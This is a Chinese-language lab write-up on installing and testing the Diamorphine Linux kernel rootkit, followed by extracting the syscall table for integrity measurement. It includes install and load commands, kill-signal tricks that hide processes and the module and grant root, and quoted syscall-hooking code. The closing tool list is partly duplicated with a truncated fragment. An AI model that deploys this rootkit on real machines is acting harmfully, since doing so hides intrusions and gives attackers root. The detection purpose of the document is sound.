Rootkit攻击与度量对象提取
文章目录
Rootkit攻击
实验环境搭建
选择Linux 5.10版本作为实验环境,首先确认内核版本。
uname -r
Rootkit简介
- Rootkit 主要任务是隐藏并长期驻留在感染机器上的从事各类恶意活动,达到高隐藏高持久化目的
- 根据运行时权限可以划分为内核态和用户态
- 内核态 Rootkit 具有与操作系统相同的权限,在内核级别运行,通常作为设备驱动程序或可加载模块加载到目标设备中。内核态 Rootkit 很难开发,因为源代码中的任何错误都会影响目标系统的稳定性,这将是发现恶意程序的最直接表现。
- 用户态 Rootkit 以与大多数应用程序具有相同的运行权限。它们可以拦截系统调用并替换 API 或劫持应用程序返回的值,以获得对设备的控制。用户态 Rootkit 所需的前置知识和复杂度,与内核态Rootkit相比更简单,更容易开发,因此常用于大范围攻击。
- 功能有获得远程访问、窃取数据、各类隐藏功能、创建永久root权限后门、隐私监控、劫持或关机安全程序
- 当前主要的Rootkit检测的方法包括但不限于以下几种类型,基于Rootkit运行的效果进行检测、静态文件特征检测、动态行为分析检测、数据完整性检测。它们各有利弊
- 当前主流Rootkit检测项目有Chkrootkit、Rkhunter、Kjackal、Tyton、Elkeid、stmichael-lkm、Qiling
Rootkit测试
选择内核态 LKM Rootkit Diamorphine进行测试。项目链接:https://github.com/m0nad/Diamorphine。对于源码的解释可见(21条消息) Diamorphine rootkit的特性与原理分析_guoguangwu的博客-CSDN博客。如果需要更详细的了解可以参考(21条消息) Linux Rootkit躲避内核检测_dog250的博客-CSDN博客
Diamorphine是用于Linux内核2.6.x/3.x/4.x/5.x和ARM64的LKM rootkit
安装Diamorphine
验证内核是否为2.6.x/3.x/4.x/5.x
uname -r
克隆存储库
git clone https://github.com/m0nad/Diamorphine
进入文件夹
cd Diamorphine
编译
make
进入 root 权限
sudo su
加载模块
insmod diamorphine.ko
测试Diamorphine
已知的功能如下
- 当加载的时候,模块是不可见的(lsmod 看不到)
- 通过发送31信号,可以达到隐藏和不隐藏进程的目的
- 通过发送63信号,可以隐藏和不隐藏该内核模块
- 通过发送64信号(给任何进程),可以将用户变成root
- 如果文件或者目录以MAGIC_PREFIX开始,将会隐藏
初始加载时:
lsmod | grep -i diamorphine
发现模块不显示,使用信号63使其显示
kill -63 0
lsmod | grep -i diamorphine
使用信号31
ps aux | gerp [任意进程号]
kill -31 [任意进程号] # 实现对进程的隐藏
ps aux | gerp [任意进程号] # 发现该进程被隐藏
kill -31 [任意进程号] #解除隐藏
使用信号64,在用户态测试
whoami #输出为用户
kill -64 0
whoami #输出为root
文件或者目录以MAGIC_PREFIX开始,其中MAGIC_PREFIX为“diamorphine_secret”
卸载Diamorphine
模块开始时不可见,若要删除,需要使其可见
kill -63 0
删除模块root权限
rmmod diamorphine
度量对象提取
阅读源码可知,该Rootkit通过挟持系统调用进行攻击,故需要提取整张系统调用表进行度量。
#保存原调度地址,用于后续恢复
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
orig_getdents = (t_syscall)__sys_call_table[__NR_getdents];
orig_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64];
orig_kill = (t_syscall)__sys_call_table[__NR_kill];
#else
orig_getdents = (orig_getdents_t)__sys_call_table[__NR_getdents];
orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64];
orig_kill = (orig_kill_t)__sys_call_table[__NR_kill];
#endif
//pr_info("__sys_call_table[__NR_kill] 0x%lx\n", __sys_call_table[__NR_kill]);
unprotect_memory();
#替换为自己的系统调用
__sys_call_table[__NR_getdents] = (unsigned long) hacked_getdents;
__sys_call_table[__NR_getdents64] = (unsigned long) hacked_getdents64;
__sys_call_table[__NR_kill] = (unsigned long) hacked_kill;
protect_memory();
系统调用表简介
可以在此处获得x86系统调用表的部分信息:https://filippo.io/linux-syscall-table/。
系统调用表简单来说就是一个放在内存当中的数组,我们可以通过syscall[__NR_NUM]获取调用的函数地址并进行调用。关于如何获取系统调用表虚拟地址的帖子已经有很多了,故不再赘述。以下是一些动态添加系统调用的帖子(里面有提到如何动态获取地址):
- (21条消息) 动态模块和篡改系统调用_柠檬味过江藤的博客-CSDN博客
- (21条消息) Linux 系统调用(二)——使用内核模块添加系统调用(无需编译内核)_JinrongLiang的博客-CSDN博客
- (21条消息) Linux如何动态添加新的系统调用_dog250的博客-CSDN博客
系统调用表提取
静态获取系统调用表的代码如下(但度量时还是要度量整张表),首先需要查看unistd_64.h文件的位置,命令如下:
sudo find / -name unistd_64.h
sudo cat /usr/src/linux-headers-5.10.0-1057-oem/arch/x86/include/generated/uapi/asm/unistd_64.h
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define BUFFER_SIZE 512
#define __NR_syscall_max 440
// 查看系统调用表获得
char PATH_SYSCALL_TABLE[] = "/usr/src/linux-headers-5.10.0-1057-oem/arch/x86/include/generated/uapi/asm/unistd_64.h";
// 替换为自己的调用表
int main() {
FILE* fp;
char buffer[BUFFER_SIZE];
fp = fopen(PATH_SYSCALL_TABLE, "r");
if (fp == NULL) {
perror("fopen");
exit(EXIT_FAILURE);
}
int i = 0;
char str[] = "#define __NR_";
char the_last_line[] = "#define __NR_syscall_max 440";
while (fgets(buffer, BUFFER_SIZE, fp) != NULL) {
//printf("%s", buffer);
char* result = strstr(buffer, str);
if (result){
//printf("%s", buffer);
if(strstr(buffer, the_last_line)) {
printf("It's over!\n");
break;
}
else{
int num = 0, i = 16, breakpiont = 16;
while(buffer[i] != '\0'){
if(buffer[i] == ' '){
breakpiont = i;
break;
}
i++;
}
for(int i = breakpiont; buffer[i] != '\0'; i++){
if (buffer[i] >= '0' && buffer[i] <= '9') {
num = num * 10 + (buffer[i] - '0');
}
}
printf("NUM = %d\n", num);
printf("%s", buffer);
}
}
}
if (fclose(fp) != 0) {
perror("fclose");
exit(EXIT_FAILURE);
}
exit(EXIT_SUCCESS);
return 0;
}
动态获取方法如下,使用模块机制编写程序,使用 dmesg 查看日志(仅截取了关键部分代码,有关kallsyms_lookup_name部分应该很容易查找):
unsigned long *syscall_table;
syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
pr_info("__sys_call_table 0x%lx\n", syscall_table);
// 单调度地址,使用关键字调度即可
pr_info("__sys_call_table[__NR_kill] 0x%lx\n", syscall_table[__NR_kill]);
// 整表
for(i = 0; i <= __NR_syscall_max; i++){
pr_info("__sys_call_table[%d] 0x%lx\n", i, syscall_table[i]);
}
一些用于内核追踪的工具
SystemTap
- 动态追踪技术之SystemTap - 小胖西瓜 - 博客园 (cnblogs.com)
- https://www.cnblogs.com/hazir/p/systemtap_introduction.html
SystemTap对内核及用户态程序提供了动态追踪功能,用户可以自定探测事件来跟踪程序的运行情况,如函数的调用路径、CPU占用和磁盘IO等一系列可以探测的情况。有了systemtap,可以在程序不修改代码,甚至不用重启就能分析出程序的运行情况。
pahole
- https://lwn.net/Articles/335942/
- (21条消息) pahole安装及使用_依山不傍水的博客-CSDN博客
- https://manpages.ubuntu.com/manpages/impish/man1/pahole.1.html
pahole显示以调试信息格式、DWARF、CTF编码的数据结构布局,并且支持BTF。
strace
- 技术|使用 Linux 的 strace 命令跟踪/调试程序的常用选项
- https://strace.io/
strace是一个用于Linux的诊断、调试和指导用户空间实用程序。它用于监视和篡改进程和Linux内核之间的交互,包括系统调用、信号传递和进程状态的更改。
相关完整性度量项目
- Tripwire https://www.tripwire.com/
- OSSEC https://www.ossec.net/
- https://github.com/ossec/ossec-hids/tree/master
- KRIe https://github.com/Gui774ume/krie
- KRIe旨在检测eBPF对Linux内核的攻击。KRIe远不是一种防弹策略:从与eBPF相关的限制到可能依赖于受损内核来发出安全事件的利用后检测,很明显,有动机的攻击者最终将能够绕过它,该项目的目标是让攻击者的生活更加艰难,并最终防止开箱即用的漏洞攻击在易受攻击的内核上进行。
- Linux-SSIP https://github.com/sjtu-linux-ssip/linux-ssip
- 一个简单而安全的Linux完整性保护工具
- LKRG https://github.com/adrelanos/lkrg
ui774ume/krie- KRIe旨在检测eBPF对Linux内核的攻击。KRIe远不是一种防弹策略:从与eBPF相关的限制到可能依赖于受损内核来发出安全事件的利用后检测,很明显,有动机的攻击者最终将能够绕过它,该项目的目标是让攻击者的生活更加艰难,并最终防止开箱即用的漏洞攻击在易受攻击的内核上进行。
- Linux-SSIP https://github.com/sjtu-linux-ssip/linux-ssip
- 一个简单而安全的Linux完整性保护工具
- LKRG https://github.com/adrelanos/lkrg
- LKRG对Linux内核执行运行时完整性检查,并检测针对内核的安全漏洞利用。